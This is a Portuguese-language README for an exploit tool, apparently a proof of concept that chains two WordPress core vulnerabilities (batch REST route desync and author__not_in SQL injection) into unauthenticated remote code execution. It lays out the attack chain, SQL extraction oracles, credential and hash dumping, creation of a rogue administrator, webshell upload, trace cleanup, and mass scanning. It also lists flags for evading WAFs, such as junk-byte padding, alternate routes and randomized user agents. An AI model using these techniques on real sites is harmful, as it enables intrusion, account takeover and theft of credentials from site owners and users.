
PoC de RCE sem autenticação para o núcleo do WordPress — encadeia CVE-2026-63030 (REST /batch/v1 route-confusion desync) com CVE-2026-60137 (author__not_in SQLi) em um shell não autenticado. Apenas testes autorizados.
PoC de RCE sem autenticação no núcleo do WordPress encadeando CVE-2026-63030 + CVE-2026-60137. Apenas testes autorizados.
wp2shell.py é uma prova de conceito de arquivo único, apenas com bibliotecas padrão, que encadeia
duas vulnerabilidades do núcleo do WordPress em execução remota de código sem autenticação:
| CVE | Componente | Bug |
|---|---|---|
| CVE-2026-63030 | Manipulador REST /batch/v1 | dessincronização de confusão de rota — o manipulador de lote perde a sincronia entre sua tabela de manipuladores e sua tabela de validação assim que o caminho de uma sub-requisição falha ao ser analisado, de modo que uma sub-requisição é despachada através de um manipulador para o qual nunca foi validada. |
| CVE-2026-60137 | WP_Query | injeção escalar de SQL — o valor author__not_in é colado diretamente no SQL, então uma string que chega até ele é injetável. |
Nenhum dos dois é RCE por si só. A dessincronização é a entrega (ela contrabandeia uma string do atacante para uma consulta que nunca deveria alcançar); a injeção é a primitiva. Juntos, eles fornecem a um atacante não autenticado um oráculo completo de leitura/escrita SQL e, a partir daí, um shell funcional.
⚠️ Apenas testes autorizados. Isso explora instalações WordPress ativas. Use apenas contra sistemas que você possui ou para os quais tem permissão explícita por escrito para testar.
Vulneráveis: 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 Corrigidas: 6.8.6, 6.9.5, 7.0.2 (e posteriores) Reportado por Adam Kues (Assetnote / Searchlight Cyber); SQLi também creditada a TF1T, dtro, haongo.
Apenas 6.9.0–7.0.1 são capazes de RCE. Na linha 6.8.x a dessincronização ainda ocorre, mas o
ramo que desalinharia o manipulador atinge um erro fatal WP_Error::get_method() — portanto,
6.8.x é uma negação de serviço / crash, não um shell. A ferramenta detecta isso e informa
qual primitiva está disponível.
O exploit é construído em camadas; cada uma é uma ponte para a próxima.
Dessincronização (CVE-2026-63030). Uma requisição em lote aninha um segundo lote. Uma sub-requisição
carrega um caminho deliberadamente malformado (http://:, que wp_parse_url() rejeita).
No 6.9.0+ a análise falhada faz com que as tabelas de manipuladores e validação se desviem em uma entrada,
de modo que a próxima sub-requisição seja executada sob um manipulador para o qual nunca foi validada —
a coleção pública de posts.
Injeção (CVE-2026-60137). Essa chamada mal direcionada atinge WP_Query com um
author__not_in controlado pelo atacante. Um UNION ALL SELECT ali não lê linhas —
ele as fabrica, permitindo-nos forjar posts arbitrários no resultado da consulta.
Ponte SQL → escrita. Os posts fabricados carregam marcação [embed]. O WordPress
fielmente os resolve e armazena em cache como linhas reais de post-meta oembed_cache —
transformando uma injeção somente leitura em uma primitiva de escrita arbitrária.
Pivô de privilégio. Usando essa ponte de escrita, forjamos (a) um changeset do personalizador
de autoria do administrador real e (b) um post request auto-referencial. Juntos,
eles forçam o WordPress a re-executar seu próprio pipeline de requisição como aquele administrador —
uma janela tempo suficiente para uma chamada enfileirada criar um novo administrador.
Para o lado de leitura (--dump, resolução de prefixo, IDs em cache) a ferramenta seleciona automaticamente o
oráculo mais rápido que funciona e para no primeiro acerto:
union — UNION na banda: o post_title da linha forjada carrega |||HEX(valor)|||,
que é refletido literalmente no corpo da resposta /wp/v2/posts. Lê um valor inteiro
(qualquer tamanho) em uma requisição. Se UNION refletir, os oráculos booleanos nunca são testados.bool — oráculo booleano X-WP-Total: o cabeçalho X-WP-Total da sub-resposta confusa
é count>0 para verdadeiro / 0 para falso. Um bit por requisição (bissecção).time — SLEEP() baseado em tempo: o fallback quando o corpo é removido e a
resposta é um 500 (por exemplo, um fatal pós-despacho de um mu-plugin de cache). Funciona mesmo em
alvos que travam em toda chamada REST.--dump usa GROUP_CONCAT para puxar todo o conjunto de credenciais de uma só vez quando UNION está
disponível.
Nenhuma. Apenas biblioteca padrão Python 3.7+ — sem pip install.
chmod +x wp2shell.py
# 1. É vulnerável? (sem injeção, sem escritas, sem criação de conta)
./wp2shell.py http://target --check
# 2. Despejo de credenciais somente leitura — PRIMEIRO administrador + segredos de opção
./wp2shell.py http://target --dump
# …todos os administradores
./wp2shell.py http://target --dump all
# 3. RCE completo — criar admin temporário, executar comando, limpar
./wp2shell.py http://target --exec "id; uname -a"
./wp2shell.py http://target --user-list # tabela completa de usuários (logins/emails/papéis)
./wp2shell.py http://target --content # todo tipo de post com status=any (privado/rascunho)
./wp2shell.py http://target --content full # …incluindo o corpo bruto de cada item
./wp2shell.py -f targets.txt --check --target-threads 8
$wp$2y$… / $P$… / $2y$…) vão direto para o hashcat
(-m 3200 para phpass, ou o modo bcrypt do WordPress). WordPress 6.8+ usa bcrypt $wp$….--dump padrão apenas para o primeiro administrador. Use --dump all para a
lista completa de admins.--oracle time --dump para recuperar hashes.O caminho --exec é projetado para não deixar nada para trás: o administrador temporário,
seus usermeta, as linhas fabricadas oembed_cache e o webshell enviado são todos removidos
antes da ferramenta sair. Não há bandeira --keep — um operador nunca deve deixar uma conta de administrador ativa e criada por atacante no sistema de um cliente.
wp2shell.py — o exploit (arquivo único, apenas stdlib).A descoberta de vulnerabilidades, divulgação e o artigo original "wp2shell" são créditos da equipe de pesquisa Searchlight Cyber / Assetnote:
/batch/v1WP_Query author__not_inEste repositório é uma implementação independente de prova de conceito da cadeia de exploração que eles divulgaram; não reivindica a descoberta das vulnerabilidades subjacentes. Se alguma atribuição estiver incompleta ou incorreta, abra um issue e será corrigida.
Esta é uma prova de conceito de pesquisa de segurança para testes de penetração autorizados e validação defensiva. Executá-la contra sistemas que você não possui ou para os quais não tem permissão por escrito para testar é ilegal. O autor não aceita nenhuma responsabilidade por uso indevido.
POST /wp/v2/usersShell. Faça login como o novo administrador, envie um plugin, execute o comando. A conta, seus metadados, as linhas oembed e o webshell são todos limpos posteriormente — nenhum vestígio persistente é deixado.
| Bandeira | Propósito |
|---|
url / -f ARQUIVO | alvo único, ou um arquivo de alvos (uma URL por linha) |
--check | apenas verificação de vulnerabilidade — sem injeção, escritas ou conta |
--dump [all] | despejar o primeiro hash de admin + segredos; all = todos os admins |
--exec COMANDO | criar admin temporário → executar COMANDO → limpar |
--user-list | leitura na banda de toda a tabela de usuários (sem login, ignora 2FA) |
--content [full] | leitura na banda de todos os tipos de post com status=any; full adiciona corpos |
--oracle {auto,union,bool,time} | forçar um oráculo de extração (padrão auto) |
--prefix PREFIXO | forçar o prefixo da tabela em vez de resolver automaticamente |
--impersonate UID | personificar este ID de usuário em vez do primeiro admin |
--threads N | sondas de extração concorrentes dentro de um alvo (padrão 5) |
--target-threads N | escanear N alvos de -f concorrentemente (padrão 1) |
--proxy URL | rotear através de um proxy (ex. Burp http://127.0.0.1:8080) |
--timeout SEGUNDOS | tempo limite por requisição (padrão 30) |
--verbose / -v | despejar sub-respostas brutas do lote (depuração) |
| Bandeira | Propósito |
|---|
--form | enviar o lote como multipart/form-data (URL limpa, sem ?rest_route=) |
--permalink [PREFIXO] | rotear via /<PREFIXO>/batch/v1 (padrão wp-json); mantém o payload fora da URL e fora de $_POST. Dica: --permalink index.php/wp-json alcança REST via PATH_INFO, evitando regras ancoradas em /wp-json |
--dummy N | prepender N bytes de lixo no corpo para estourar o buffer de inspeção de um WAF |
--donor {widgets,categories,tags} | mudar a rota doadora de confusão se uma delas der 500 (padrão widgets) |
--per-page N | forjar per_page (-1 ou um grande positivo ambos retornam todas as linhas; use um grande positivo se o alvo der 500 em -1) |
--users-route CAMINHO | caso/consulta alternativo para a chamada de criação de usuário (/wp/v2/Users, …?_=1) |
--primer CAMINHO | caminho de dessincronização malformado alternativo se um WAF identificar o padrão http://: |
--user-agent UA | fixar o UA (padrão: um UA de navegador realista aleatório por execução) |
--embed-base URL | substituir a base da URL de oembed (evitar loopback de auto-embed) |